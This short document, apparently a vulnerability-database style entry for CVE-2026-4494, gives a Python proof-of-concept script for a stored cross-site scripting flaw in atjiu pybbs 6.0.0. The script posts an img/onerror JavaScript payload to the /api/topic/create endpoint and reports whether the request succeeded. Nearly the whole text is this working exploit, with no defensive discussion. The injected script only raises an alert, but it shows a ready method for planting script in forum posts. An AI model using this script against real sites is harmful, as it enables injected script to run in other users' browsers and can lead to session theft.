CVE-2026-4494: atjiu pybbs 跨站脚本漏洞

// Proof of Concept for CVE-2026-4494 // Target: atjiu pybbs 6.0.0 // Endpoint: /api/topic/create import requests def exploit_xss(target_url): # Malicious payload to execute JavaScript payload = { "title": "Interesting Topic", "content": "<img src=x onerror=alert('XSS')>", # Stored XSS payload "tags": "test" } try: # Send POST request to vulnerable endpoint response = requests.post(f"{target_url}/api/topic/create", data=payload) if response.status_code == 200: print("[+] Payload sent successfully.") print("[+] Check the created topic to verify the XSS trigger.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") # Usage # exploit_xss("http://target-host")